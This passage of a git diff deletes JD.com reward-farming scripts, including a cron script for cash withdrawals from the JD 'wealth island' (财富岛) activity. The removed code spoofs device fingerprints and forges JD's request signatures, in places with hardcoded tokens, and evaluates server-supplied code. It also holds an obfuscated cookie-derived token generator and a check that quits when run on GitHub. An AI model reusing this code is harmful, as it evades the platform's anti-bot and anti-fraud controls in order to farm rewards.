data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cfdtx.js b/backUp/jd_cfdtx.js deleted file mode 100644 index 4559448..0000000 --- a/backUp/jd_cfdtx.js +++ /dev/null @@ -1,602 +0,0 @@ -/* -京喜财富岛提现 -cron 59 11,12,23 * * * jd_cfdtx.js -更新时间:2021-7-20 -活动入口:京喜APP-我的-京喜财富岛提现 - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜财富岛提现 -59 11,12,23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js, tag=京喜财富岛提现, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true - -================Loon============== -[Script] -cron "59 11,12,23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js,tag=京喜财富岛提现 - -===============Surge================= -京喜财富岛提现 = type=cron,cronexp="59 11,12,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js - -============小火箭========= -京喜财富岛提现 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfdtx.js, cronexpr="59 11,12,23 * * *", timeout=3600, enable=true - */ -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = 